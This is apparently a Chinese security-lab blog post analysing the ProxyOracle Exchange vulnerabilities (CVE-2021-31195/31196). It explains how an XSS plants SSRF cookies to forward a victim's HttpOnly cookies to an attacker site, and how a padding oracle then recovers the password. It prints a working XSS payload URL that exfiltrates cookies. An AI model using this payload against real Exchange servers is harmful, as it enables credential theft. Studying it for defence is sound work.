编者注：本文仅供学习研究，严禁从事非法活动，任何后果由使用者本人负责。
影响版本
CVE-2021-31195
●Exchange Server 2013 < May21SU
●Exchange Server 2016 < May21SU < CU20
●Exchange Server 2019 < May21SU < CU9
CVE-2021-31196
●Exchange Server 2013 < Jul21SU
●Exchange Server 2016 < Jul21SU < CU20
●Exchange Server 2019 < Jul21SU < CU9
利用分析
补丁层面的代码分析就不细说了，可以参考上一篇的ProxyLogon漏洞分析。
CVE-2021-31195是一个1-Click的XSS，但是exchange的cookie各个字段基本都有HttpOnly，没法直接JS获取。还记得上一篇中说到的吗：
小结一下，Cookie的 X-BEResource 值可以控制CAS请求的Host，结合UriBuilder类特性可以构造出可控的完整URL，因为采用Kerberos认证所以不能向任意站点发起请求。
除了 X-BEResource 字段，还有 X-AnonResource-Backend; X-AnonResource 这一组字段可以造成SSRF，而且这个不存在kerb认证，可以向任意站点发起HTTPS请求：
本质上是让CAS成为一个反代，将我们指定的站点视为后端，转发HTTPS请求。利用这一点，用XSS执行JS给受害者加上一组存在SSRF的Cookie，并向SSRF漏洞入口发起请求，CAS会将带有完整Cookie的HTTPS请求转发到指定站点，实现绕过HttpOnly窃取Cookies。
https://ews.lab/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=&refurl=}}};document.cookie=`[email protected]:443/path/any.php%23~1941962753`;document.cookie=`X-AnonResource=true`;fetch(`/owa/auth/any.skin`,{credentials:`include`});//
获取到的Cookie中cadataKey、cadataIV、cadataSig是被RSA加密过的字段，cadata字段是用AES-CBC加密的 "Basic " + ToBase64String(UserName + ":" + Password) 。在AES出现填充错误时，重定向的URL包含 reason=0 参数；如果是填充正确但业务逻辑出错，重定向的URL包含 reason=2 参数。
这样就达成了PaddingOracle攻击的前置条件，不熟悉的同学请参考附加篇PaddingOracle攻击原理。
但是因为IV被RSA加密，属于上文中既不可读也不可见的情况，我们无法通过PaddingOracle解密出cadata密文的第一块（16个字符），但好在拼接了 Basic 字符串且C#的编码为UTF-16-LE（每个ASCII字符对应两个编码），所以前6*2=12个字节会是固定的。
"Basic ".encode("utf-16-le")b'Bx00ax00sx00ix00cx00 x00'
那么第一块中还有16-12=4个字节无法确认，不过AES-CBC加密的其实是Base64编码（每4个编码对应3个ASCII字符），我们最终只会损失(4/2)*(3/4)=1.5个明文ASCII字符（要向上取整，损失两个）。而这前两个ASCII字符，在窃取到的Cookie中 logondata=acc=0&lgn=test.comadministrator; 已经可以读到了。
接下来就是跑PaddingOracle了，不想太有判头不放完整EXP了，理解原理后可以很快写出来。
下一篇我们将一起讨论ProxyShell～
参考内容
A New Attack Surface on MS Exchange Part 2 - ProxyOracle!
默安科技安全研究院旗下团队，“逐日”寓意为追逐技术永不停歇，专注于安全攻防研究，包括漏洞挖掘、逆向工程、红蓝对抗、代码审计、产品赋能等方向。
本文始发于微信公众号（默安逐日实验室）：ProxyOracle漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论